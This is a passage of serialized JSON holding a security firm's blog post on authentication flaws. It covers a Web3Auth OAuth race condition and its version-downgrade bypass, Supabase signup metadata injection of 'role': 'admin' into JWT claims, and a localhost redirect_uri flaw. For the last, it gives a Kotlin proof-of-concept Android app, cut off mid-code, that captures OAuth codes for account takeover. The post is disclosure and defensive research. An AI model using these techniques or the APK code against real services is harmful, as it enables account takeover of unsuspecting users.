Condition",{"type":24,"tag":25,"props":70970,"children":70971},{},[70972,70974,70979,70981,70987,70989,70994,70996,71001],{"type":29,"value":70973},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":24,"tag":154,"props":70975,"children":70977},{"className":70976},[],[70978],{"type":29,"value":70886},{"type":29,"value":70980}," and later used in the ",{"type":24,"tag":154,"props":70982,"children":70984},{"className":70983},[],[70985],{"type":29,"value":70986},"/end",{"type":29,"value":70988}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":24,"tag":154,"props":70990,"children":70992},{"className":70991},[],[70993],{"type":29,"value":70886},{"type":29,"value":70995},") but before use (",{"type":24,"tag":154,"props":70997,"children":70999},{"className":70998},[],[71000],{"type":29,"value":70986},{"type":29,"value":21986},{"type":24,"tag":25,"props":71003,"children":71004},{},[71005,71007,71014,71016,71021],{"type":29,"value":71006},"To exploit this ",{"type":24,"tag":101,"props":71008,"children":71011},{"href":71009,"rel":71010},"https://portswigger.net/web-security/race-conditions",[105],[71012],{"type":29,"value":71013},"race condition",{"type":29,"value":71015},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":24,"tag":154,"props":71017,"children":71019},{"className":71018},[],[71020],{"type":29,"value":70931},{"type":29,"value":71022}," but with modified malicious parameters.",{"type":24,"tag":25,"props":71024,"children":71025},{},[71026],{"type":24,"tag":897,"props":71027,"children":71028},{},[71029],{"type":29,"value":71030},"What can be modified to achieve something impactful?",{"type":24,"tag":25,"props":71032,"children":71033},{},[71034,71036,71042,71044,71049],{"type":29,"value":71035},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":24,"tag":154,"props":71037,"children":71039},{"className":71038},[],[71040],{"type":29,"value":71041},"redirect_uri",{"type":29,"value":71043}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":24,"tag":154,"props":71045,"children":71047},{"className":71046},[],[71048],{"type":29,"value":70873},{"type":29,"value":347},{"type":24,"tag":25,"props":71051,"children":71052},{},[71053],{"type":24,"tag":84,"props":71054,"children":71056},{"alt":51850,"src":71055},"/posts/web2-in-web3/image-3.png",[],{"type":24,"tag":25,"props":71058,"children":71059},{},[71060],{"type":29,"value":71061},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":24,"tag":395,"props":71063,"children":71065},{"id":71064},"patch-bypass",[71066],{"type":29,"value":71067},"Patch & Bypass",{"type":24,"tag":25,"props":71069,"children":71070},{},[71071],{"type":29,"value":71072},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":24,"tag":25,"props":71074,"children":71075},{},[71076],{"type":29,"value":71077},"To bypass the fix we were able to change the version in the URL:",{"type":24,"tag":17924,"props":71079,"children":71080},{},[71081,71092],{"type":24,"tag":1790,"props":71082,"children":71083},{},[71084,71090],{"type":24,"tag":154,"props":71085,"children":71087},{"className":71086},[],[71088],{"type":29,"value":71089},"https://auth.web3auth.io/v8/start",{"type":29,"value":71091}," (latest version)",{"type":24,"tag":1790,"props":71093,"children":71094},{},[71095,71101],{"type":24,"tag":154,"props":71096,"children":71098},{"className":71097},[],[71099],{"type":29,"value":71100},"https://auth.web3auth.io/v6/start",{"type":29,"value":71102}," (bypass)",{"type":24,"tag":25,"props":71104,"children":71105},{},[71106],{"type":29,"value":71107},"We reported this issue, and it was addressed just as quickly!",{"type":24,"tag":59,"props":71109,"children":71111},{"id":71110},"supabase-metadata-manipulation",[71112],{"type":29,"value":71113},"Supabase metadata manipulation",{"type":24,"tag":395,"props":71115,"children":71117},{"id":71116},"supabase-authentication-flow",[71118],{"type":29,"value":71119},"Supabase Authentication flow",{"type":24,"tag":25,"props":71121,"children":71122},{},[71123,71130,71132,71139],{"type":24,"tag":101,"props":71124,"children":71127},{"href":71125,"rel":71126},"https://supabase.com/docs/guides/auth",[105],[71128],{"type":29,"value":71129},"Supabase",{"type":29,"value":71131}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":24,"tag":101,"props":71133,"children":71136},{"href":71134,"rel":71135},"https://jwt.io/",[105],[71137],{"type":29,"value":71138},"JWT",{"type":29,"value":71140}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":24,"tag":395,"props":71142,"children":71144},{"id":71143},"jwt-verification",[71145],{"type":29,"value":71146},"JWT verification",{"type":24,"tag":25,"props":71148,"children":71149},{},[71150,71152,71157,71158,71164,71166,71172],{"type":29,"value":71151},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":24,"tag":154,"props":71153,"children":71155},{"className":71154},[],[71156],{"type":29,"value":70799},{"type":29,"value":1826},{"type":24,"tag":154,"props":71159,"children":71161},{"className":71160},[],[71162],{"type":29,"value":71163},"identity_data",{"type":29,"value":71165},", in a signup request by manipulating the input inside the ",{"type":24,"tag":154,"props":71167,"children":71169},{"className":71168},[],[71170],{"type":29,"value":71171},"\"data\": {}",{"type":29,"value":71173}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":24,"tag":25,"props":71175,"children":71176},{},[71177,71179,71185,71186,71192,71194,71200],{"type":29,"value":71178},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":24,"tag":154,"props":71180,"children":71182},{"className":71181},[],[71183],{"type":29,"value":71184},"\"role\": \"admin\"",{"type":29,"value":4028},{"type":24,"tag":154,"props":71187,"children":71189},{"className":71188},[],[71190],{"type":29,"value":71191},"\"email_verified\": true",{"type":29,"value":71193},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":24,"tag":154,"props":71195,"children":71197},{"className":71196},[],[71198],{"type":29,"value":71199},"\"test\": \"test\"",{"type":29,"value":71201},", enabling us to inject arbitrary data into the final JWT token.",{"type":24,"tag":25,"props":71203,"children":71204},{},[71205],{"type":24,"tag":84,"props":71206,"children":71208},{"alt":51850,"src":71207},"/posts/web2-in-web3/image-4.png",[],{"type":24,"tag":25,"props":71210,"children":71211},{},[71212],{"type":29,"value":71213},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":24,"tag":25,"props":71215,"children":71216},{},[71217],{"type":29,"value":71218},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":24,"tag":147,"props":71220,"children":71222},{"className":32624,"code":71221,"language":32626,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[71223],{"type":24,"tag":154,"props":71224,"children":71225},{"__ignoreMap":7},[71226,71251,71263,71332,71381,71429,71474,71497,71534,71550,71557],{"type":24,"tag":158,"props":71227,"children":71228},{"class":160,"line":161},[71229,71233,71238,71242,71247],{"type":24,"tag":158,"props":71230,"children":71231},{"style":165},[71232],{"type":29,"value":32638},{"type":24,"tag":158,"props":71234,"children":71235},{"style":496},[71236],{"type":29,"value":71237}," parseSupaBase",{"type":24,"tag":158,"props":71239,"children":71240},{"style":188},[71241],{"type":29,"value":504},{"type":24,"tag":158,"props":71243,"children":71244},{"style":177},[71245],{"type":29,"value":71246},"token",{"type":24,"tag":158,"props":71248,"children":71249},{"style":188},[71250],{"type":29,"value":16038},{"type":24,"tag":158,"props":71252,"children":71253},{"class":160,"line":213},[71254,71259],{"type":24,"tag":158,"props":71255,"children":71256},{"style":1914},[71257],{"type":29,"value":71258}," try",{"type":24,"tag":158,"props":71260,"children":71261},{"style":188},[71262],{"type":29,"value":210},{"type":24,"tag":158,"props":71264,"children":71265},{"class":160,"line":238},[71266,71270,71274,71279,71283,71288,71292,71297,71301,71305,71310,71314,71319,71323,71328],{"type":24,"tag":158,"props":71267,"children":71268},{"style":165},[71269],{"type":29,"value":34163},{"type":24,"tag":158,"props":71271,"children":71272},{"style":188},[71273],{"type":29,"value":24277},{"type":24,"tag":158,"props":71275,"children":71276},{"style":177},[71277],{"type":29,"value":71278},"header",{"type":24,"tag":158,"props":71280,"children":71281},{"style":188},[71282],{"type":29,"value":191},{"type":24,"tag":158,"props":71284,"children":71285},{"style":177},[71286],{"type":29,"value":71287},"payload",{"type":24,"tag":158,"props":71289,"children":71290},{"style":188},[71291],{"type":29,"value":191},{"type":24,"tag":158,"props":71293,"children":71294},{"style":177},[71295],{"type":29,"value":71296},"signature",{"type":24,"tag":158,"props":71298,"children":71299},{"style":188},[71300],{"type":29,"value":2058},{"type":24,"tag":158,"props":71302,"children":71303},{"style":222},[71304],{"type":29,"value":1285},{"type":24,"tag":158,"props":71306,"children":71307},{"style":177},[71308],{"type":29,"value":71309}," token",{"type":24,"tag":158,"props":71311,"children":71312},{"style":188},[71313],{"type":29,"value":347},{"type":24,"tag":158,"props":71315,"children":71316},{"style":496},[71317],{"type":29,"value":71318},"split",{"type":24,"tag":158,"props":71320,"children":71321},{"style":188},[71322],{"type":29,"value":504},{"type":24,"tag":158,"props":71324,"children":71325},{"style":1108},[71326],{"type":29,"value":71327},"'.'",{"type":24,"tag":158,"props":71329,"children":71330},{"style":188},[71331],{"type":29,"value":1071},{"type":24,"tag":158,"props":71333,"children":71334},{"class":160,"line":259},[71335,71339,71344,71348,71352,71356,71360,71364,71369,71373,71377],{"type":24,"tag":158,"props":71336,"children":71337},{"style":165},[71338],{"type":29,"value":34163},{"type":24,"tag":158,"props":71340,"children":71341},{"style":177},[71342],{"type":29,"value":71343}," decodedHeader",{"type":24,"tag":158,"props":71345,"children":71346},{"style":222},[71347],{"type":29,"value":462},{"type":24,"tag":158,"props":71349,"children":71350},{"style":177},[71351],{"type":29,"value":38792},{"type":24,"tag":158,"props":71353,"children":71354},{"style":188},[71355],{"type":29,"value":347},{"type":24,"tag":158,"props":71357,"children":71358},{"style":496},[71359],{"type":29,"value":40476},{"type":24,"tag":158,"props":71361,"children":71362},{"style":188},[71363],{"type":29,"value":504},{"type":24,"tag":158,"props":71365,"children":71366},{"style":496},[71367],{"type":29,"value":71368},"atob",{"type":24,"tag":158,"props":71370,"children":71371},{"style":188},[71372],{"type":29,"value":504},{"type":24,"tag":158,"props":71374,"children":71375},{"style":177},[71376],{"type":29,"value":71278},{"type":24,"tag":158,"props":71378,"children":71379},{"style":188},[71380],{"type":29,"value":3849},{"type":24,"tag":158,"props":71382,"children":71383},{"class":160,"line":280},[71384,71388,71393,71397,71401,71405,71409,71413,71417,71421,71425],{"type":24,"tag":158,"props":71385,"children":71386},{"style":165},[71387],{"type":29,"value":34163},{"type":24,"tag":158,"props":71389,"children":71390},{"style":177},[71391],{"type":29,"value":71392}," decodedPayload",{"type":24,"tag":158,"props":71394,"children":71395},{"style":222},[71396],{"type":29,"value":462},{"type":24,"tag":158,"props":71398,"children":71399},{"style":177},[71400],{"type":29,"value":38792},{"type":24,"tag":158,"props":71402,"children":71403},{"style":188},[71404],{"type":29,"value":347},{"type":24,"tag":158,"props":71406,"children":71407},{"style":496},[71408],{"type":29,"value":40476},{"type":24,"tag":158,"props":71410,"children":71411},{"style":188},[71412],{"type":29,"value":504},{"type":24,"tag":158,"props":71414,"children":71415},{"style":496},[71416],{"type":29,"value":71368},{"type":24,"tag":158,"props":71418,"children":71419},{"style":188},[71420],{"type":29,"value":504},{"type":24,"tag":158,"props":71422,"children":71423},{"style":177},[71424],{"type":29,"value":71287},{"type":24,"tag":158,"props":71426,"children":71427},{"style":188},[71428],{"type":29,"value":3849},{"type":24,"tag":158,"props":71430,"children":71431},{"class":160,"line":301},[71432,71436,71440,71445,71449,71453,71458,71462,71466,71470],{"type":24,"tag":158,"props":71433,"children":71434},{"style":1914},[71435],{"type":29,"value":16980},{"type":24,"tag":158,"props":71437,"children":71438},{"style":188},[71439],{"type":29,"value":372},{"type":24,"tag":158,"props":71441,"children":71442},{"style":177},[71443],{"type":29,"value":71444},"header:",{"type":24,"tag":158,"props":71446,"children":71447},{"style":177},[71448],{"type":29,"value":71343},{"type":24,"tag":158,"props":71450,"children":71451},{"style":188},[71452],{"type":29,"value":191},{"type":24,"tag":158,"props":71454,"children":71455},{"style":177},[71456],{"type":29,"value":71457},"payload:",{"type":24,"tag":158,"props":71459,"children":71460},{"style":177},[71461],{"type":29,"value":71392},{"type":24,"tag":158,"props":71463,"children":71464},{"style":188},[71465],{"type":29,"value":191},{"type":24,"tag":158,"props":71467,"children":71468},{"style":177},[71469],{"type":29,"value":71296},{"type":24,"tag":158,"props":71471,"children":71472},{"style":188},[71473],{"type":29,"value":19539},{"type":24,"tag":158,"props":71475,"children":71476},{"class":160,"line":626},[71477,71481,71485,71489,71493],{"type":24,"tag":158,"props":71478,"children":71479},{"style":188},[71480],{"type":29,"value":17015},{"type":24,"tag":158,"props":71482,"children":71483},{"style":1914},[71484],{"type":29,"value":49682},{"type":24,"tag":158,"props":71486,"children":71487},{"style":188},[71488],{"type":29,"value":2262},{"type":24,"tag":158,"props":71490,"children":71491},{"style":177},[71492],{"type":29,"value":16098},{"type":24,"tag":158,"props":71494,"children":71495},{"style":188},[71496],{"type":29,"value":16038},{"type":24,"tag":158,"props":71498,"children":71499},{"class":160,"line":668},[71500,71505,71509,71513,71517,71522,71526,71530],{"type":24,"tag":158,"props":71501,"children":71502},{"style":177},[71503],{"type":29,"value":71504}," console",{"type":24,"tag":158,"props":71506,"children":71507},{"style":188},[71508],{"type":29,"value":347},{"type":24,"tag":158,"props":71510,"children":71511},{"style":496},[71512],{"type":29,"value":16098},{"type":24,"tag":158,"props":71514,"children":71515},{"style":188},[71516],{"type":29,"value":504},{"type":24,"tag":158,"props":71518,"children":71519},{"style":1108},[71520],{"type":29,"value":71521},"'Error parsing token:'",{"type":24,"tag":158,"props":71523,"children":71524},{"style":188},[71525],{"type":29,"value":191},{"type":24,"tag":158,"props":71527,"children":71528},{"style":177},[71529],{"type":29,"value":16098},{"type":24,"tag":158,"props":71531,"children":71532},{"style":188},[71533],{"type":29,"value":1071},{"type":24,"tag":158,"props":71535,"children":71536},{"class":160,"line":676},[71537,71541,71546],{"type":24,"tag":158,"props":71538,"children":71539},{"style":1914},[71540],{"type":29,"value":16980},{"type":24,"tag":158,"props":71542,"children":71543},{"style":165},[71544],{"type":29,"value":71545}," null",{"type":24,"tag":158,"props":71547,"children":71548},{"style":188},[71549],{"type":29,"value":473},{"type":24,"tag":158,"props":71551,"children":71552},{"class":160,"line":684},[71553],{"type":24,"tag":158,"props":71554,"children":71555},{"style":188},[71556],{"type":29,"value":3967},{"type":24,"tag":158,"props":71558,"children":71559},{"class":160,"line":700},[71560],{"type":24,"tag":158,"props":71561,"children":71562},{"style":188},[71563],{"type":29,"value":307},{"type":24,"tag":395,"props":71565,"children":71566},{"id":41598},[71567],{"type":29,"value":41601},{"type":24,"tag":25,"props":71569,"children":71570},{},[71571,71573,71580,71582,71588],{"type":29,"value":71572},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":24,"tag":101,"props":71574,"children":71577},{"href":71575,"rel":71576},"https://supabase.com/docs/guides/database/postgres/row-level-security",[105],[71578],{"type":29,"value":71579},"Row-Level Security",{"type":29,"value":71581}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":24,"tag":154,"props":71583,"children":71585},{"className":71584},[],[71586],{"type":29,"value":71587},"app_metadata",{"type":29,"value":71589},". These fields must be strictly validated at every step of their creation and update processes.",{"type":24,"tag":59,"props":71591,"children":71593},{"id":71592},"oauth-in-development-environments",[71594],{"type":29,"value":71595},"OAuth in development environments",{"type":24,"tag":25,"props":71597,"children":71598},{},[71599,71601,71608,71610,71615],{"type":29,"value":71600},"After watching a ",{"type":24,"tag":101,"props":71602,"children":71605},{"href":71603,"rel":71604},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[105],[71606],{"type":29,"value":71607},"talk",{"type":29,"value":71609}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":24,"tag":154,"props":71611,"children":71613},{"className":71612},[],[71614],{"type":29,"value":71041},{"type":29,"value":71616}," parameter during the OAuth flow.",{"type":24,"tag":25,"props":71618,"children":71619},{},[71620,71622,71629],{"type":29,"value":71621},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":24,"tag":101,"props":71623,"children":71626},{"href":71624,"rel":71625},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[105],[71627],{"type":29,"value":71628},"Remote Code Execution",{"type":29,"value":71630}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":24,"tag":25,"props":71632,"children":71633},{},[71634,71636,71642],{"type":29,"value":71635},"In one of our client's implementations, we identified that ",{"type":24,"tag":154,"props":71637,"children":71639},{"className":71638},[],[71640],{"type":29,"value":71641},"localhost:3000",{"type":29,"value":71643}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":24,"tag":25,"props":71645,"children":71646},{},[71647],{"type":29,"value":71648},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":24,"tag":147,"props":71650,"children":71654},{"className":71651,"code":71652,"language":71653,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[71655],{"type":24,"tag":154,"props":71656,"children":71657},{"__ignoreMap":7},[71658],{"type":24,"tag":158,"props":71659,"children":71660},{"class":160,"line":161},[71661],{"type":24,"tag":158,"props":71662,"children":71663},{},[71664],{"type":29,"value":71652},{"type":24,"tag":25,"props":71666,"children":71667},{},[71668],{"type":29,"value":71669},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":24,"tag":147,"props":71671,"children":71675},{"className":71672,"code":71673,"language":71674,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[71676],{"type":24,"tag":154,"props":71677,"children":71678},{"__ignoreMap":7},[71679,71706,71713,71745,71767,71774,71782,71804,71816,71828,71863,71889,71939,71946,71953,71960,71968,71990,72025,72038,72045,72052,72073,72099,72111,72132,72149,72161,72187,72226,72247,72255,72267,72292,72304,72317,72325,72332,72340,72348,72355,72385,72392],{"type":24,"tag":158,"props":71680,"children":71681},{"class":160,"line":161},[71682,71687,71692,71697,71702],{"type":24,"tag":158,"props":71683,"children":71684},{"style":165},[71685],{"type":29,"value":71686},"class",{"type":24,"tag":158,"props":71688,"children":71689},{"style":171},[71690],{"type":29,"value":71691}," MainActivity",{"type":24,"tag":158,"props":71693,"children":71694},{"style":188},[71695],{"type":29,"value":71696}," : ",{"type":24,"tag":158,"props":71698,"children":71699},{"style":171},[71700],{"type":29,"value":71701},"AppCompatActivity",{"type":24,"tag":158,"props":71703,"children":71704},{"style":188},[71705],{"type":29,"value":16972},{"type":24,"tag":158,"props":71707,"children":71708},{"class":160,"line":213},[71709],{"type":24,"tag":158,"props":71710,"children":71711},{"emptyLinePlaceholder":16},[71712],{"type":29,"value":481},{"type":24,"tag":158,"props":71714,"children":71715},{"class":160,"line":238},[71716,71721,71725,71730,71735,71740],{"type":24,"tag":158,"props":71717,"children":71718},{"style":165},[71719],{"type":29,"value":71720}," override",{"type":24,"tag":158,"props":71722,"children":71723},{"style":165},[71724],{"type":29,"value":493},{"type":24,"tag":158,"props":71726,"children":71727},{"style":496},[71728],{"type":29,"value":71729}," onCreate",{"type":24,"tag":158,"props":71731,"children":71732},{"style":188},[71733],{"type":29,"value":71734},"(savedInstanceState: ",{"type":24,"tag":158,"props":71736,"children":71737},{"style":171},[71738],{"type":29,"value":71739},"Bundle",{"type":24,"tag":158,"props":71741,"children":71742},{"style":188},[71743],{"type":29,"value":71744},"?) {\n",{"type":24,"tag":158,"props":71746,"children":71747},{"class":160,"line":259},[71748,71753,71757,71762],{"type":24,"tag":158,"props":71749,"children":71750},{"style":165},[71751],{"type":29,"value":71752}," super",{"type":24,"tag":158,"props":71754,"children":71755},{"style":188},[71756],{"type":29,"value":347},{"type":24,"tag":158,"props":71758,"children":71759},{"style":496},[71760],{"type":29,"value":71761},"onCreate",{"type":24,"tag":158,"props":71763,"children":71764},{"style":188},[71765],{"type":29,"value":71766},"(savedInstanceState)\n",{"type":24,"tag":158,"props":71768,"children":71769},{"class":160,"line":280},[71770],{"type":24,"tag":158,"props":71771,"children":71772},{"emptyLinePlaceholder":16},[71773],{"type":29,"value":481},{"type":24,"tag":158,"props":71775,"children":71776},{"class":160,"line":301},[71777],{"type":24,"tag":158,"props":71778,"children":71779},{"style":2588},[71780],{"type":29,"value":71781}," // Start the Ktor web server\n",{"type":24,"tag":158,"props":71783,"children":71784},{"class":160,"line":626},[71785,71790,71795,71800],{"type":24,"tag":158,"props":71786,"children":71787},{"style":496},[71788],{"type":29,"value":71789}," CoroutineScope",{"type":24,"tag":158,"props":71791,"children":71792},{"style":188},[71793],{"type":29,"value":71794},"(Dispatchers.IO).",{"type":24,"tag":158,"props":71796,"children":71797},{"style":496},[71798],{"type":29,"value":71799},"launch",{"type":24,"tag":158,"props":71801,"children":71802},{"style":188},[71803],{"type":29,"value":210},{"type":24,"tag":158,"props":71805,"children":71806},{"class":160,"line":668},[71807,71812],{"type":24,"tag":158,"props":71808,"children":71809},{"style":1914},[71810],{"type":29,"value":71811}," try",{"type":24,"tag":158,"props":71813,"children":71814},{"style":188},[71815],{"type":29,"value":210},{"type":24,"tag":158,"props":71817,"children":71818},{"class":160,"line":676},[71819,71824],{"type":24,"tag":158,"props":71820,"children":71821},{"style":496},[71822],{"type":29,"value":71823}," startWebServer",{"type":24,"tag":158,"props":71825,"children":71826},{"style":188},[71827],{"type":29,"value":9376},{"type":24,"tag":158,"props":71829,"children":71830},{"class":160,"line":684},[71831,71836,71841,71845,71850,71854,71859],{"type":24,"tag":158,"props":71832,"children":71833},{"style":188},[71834],{"type":29,"value":71835}," Log.",{"type":24,"tag":158,"props":71837,"children":71838},{"style":496},[71839],{"type":29,"value":71840},"d",{"type":24,"tag":158,"props":71842,"children":71843},{"style":188},[71844],{"type":29,"value":504},{"type":24,"tag":158,"props":71846,"children":71847},{"style":1108},[71848],{"type":29,"value":71849},"\"WebServer\"",{"type":24,"tag":158,"props":71851,"children":71852},{"style":188},[71853],{"type":29,"value":191},{"type":24,"tag":158,"props":71855,"children":71856},{"style":1108},[71857],{"type":29,"value":71858},"\"Server started on http://localhost:3000\"",{"type":24,"tag":158,"props":71860,"children":71861},{"style":188},[71862],{"type":29,"value":2125},{"type":24,"tag":158,"props":71864,"children":71865},{"class":160,"line":700},[71866,71871,71875,71880,71885],{"type":24,"tag":158,"props":71867,"children":71868},{"style":188},[71869],{"type":29,"value":71870}," } ",{"type":24,"tag":158,"props":71872,"children":71873},{"style":165},[71874],{"type":29,"value":49682},{"type":24,"tag":158,"props":71876,"children":71877},{"style":188},[71878],{"type":29,"value":71879}," (e: ",{"type":24,"tag":158,"props":71881,"children":71882},{"style":171},[71883],{"type":29,"value":71884},"Exception",{"type":24,"tag":158,"props":71886,"children":71887},{"style":188},[71888],{"type":29,"value":16038},{"type":24,"tag":158,"props":71890,"children":71891},{"class":160,"line":785},[71892,71896,71900,71904,71908,71912,71917,71921,71926,71930,71934],{"type":24,"tag":158,"props":71893,"children":71894},{"style":188},[71895],{"type":29,"value":71835},{"type":24,"tag":158,"props":71897,"children":71898},{"style":496},[71899],{"type":29,"value":52726},{"type":24,"tag":158,"props":71901,"children":71902},{"style":188},[71903],{"type":29,"value":504},{"type":24,"tag":158,"props":71905,"children":71906},{"style":1108},[71907],{"type":29,"value":71849},{"type":24,"tag":158,"props":71909,"children":71910},{"style":188},[71911],{"type":29,"value":191},{"type":24,"tag":158,"props":71913,"children":71914},{"style":1108},[71915],{"type":29,"value":71916},"\"Error starting server: ",{"type":24,"tag":158,"props":71918,"children":71919},{"style":165},[71920],{"type":29,"value":35371},{"type":24,"tag":158,"props":71922,"children":71923},{"style":222},[71924],{"type":29,"value":71925},"e.message",{"type":24,"tag":158,"props":71927,"children":71928},{"style":165},[71929],{"type":29,"value":35403},{"type":24,"tag":158,"props":71931,"children":71932},{"style":1108},[71933],{"type":29,"value":21303},{"type":24,"tag":158,"props":71935,"children":71936},{"style":188},[71937],{"type":29,"value":71938},", e)\n",{"type":24,"tag":158,"props":71940,"children":71941},{"class":160,"line":1447},[71942],{"type":24,"tag":158,"props":71943,"children":71944},{"style":188},[71945],{"type":29,"value":60158},{"type":24,"tag":158,"props":71947,"children":71948},{"class":160,"line":1509},[71949],{"type":24,"tag":158,"props":71950,"children":71951},{"style":188},[71952],{"type":29,"value":5010},{"type":24,"tag":158,"props":71954,"children":71955},{"class":160,"line":1527},[71956],{"type":24,"tag":158,"props":71957,"children":71958},{"emptyLinePlaceholder":16},[71959],{"type":29,"value":481},{"type":24,"tag":158,"props":71961,"children":71962},{"class":160,"line":1545},[71963],{"type":24,"tag":158,"props":71964,"children":71965},{"style":2588},[71966],{"type":29,"value":71967}," // Open the Google OAuth page\n",{"type":24,"tag":158,"props":71969,"children":71970},{"class":160,"line":1618},[71971,71976,71981,71985],{"type":24,"tag":158,"props":71972,"children":71973},{"style":165},[71974],{"type":29,"value":71975}," val",{"type":24,"tag":158,"props":71977,"children":71978},{"style":188},[71979],{"type":29,"value":71980}," googleOAuthUrl ",{"type":24,"tag":158,"props":71982,"children":71983},{"style":222},[71984],{"type":29,"value":1285},{"type":24,"tag":158,"props":71986,"children":71987},{"style":1108},[71988],{"type":29,"value":71989}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":158,"props":71991,"children":71992},{"class":160,"line":1635},[71993,71997,72002,72006,72011,72016,72020],{"type":24,"tag":158,"props":71994,"children":71995},{"style":165},[71996],{"type":29,"value":71975},{"type":24,"tag":158,"props":71998,"children":71999},{"style":188},[72000],{"type":29,"value":72001}," browserIntent ",{"type":24,"tag":158,"props":72003,"children":72004},{"style":222},[72005],{"type":29,"value":1285},{"type":24,"tag":158,"props":72007,"children":72008},{"style":496},[72009],{"type":29,"value":72010}," Intent",{"type":24,"tag":158,"props":72012,"children":72013},{"style":188},[72014],{"type":29,"value":72015},"(Intent.ACTION_VIEW, Uri.",{"type":24,"tag":158,"props":72017,"children":72018},{"style":496},[72019],{"type":29,"value":40476},{"type":24,"tag":158,"props":72021,"children":72022},{"style":188},[72023],{"type":29,"value":72024},"(googleOAuthUrl))\n",{"type":24,"tag":158,"props":72026,"children":72027},{"class":160,"line":1644},[72028,72033],{"type":24,"tag":158,"props":72029,"children":72030},{"style":496},[72031],{"type":29,"value":72032}," 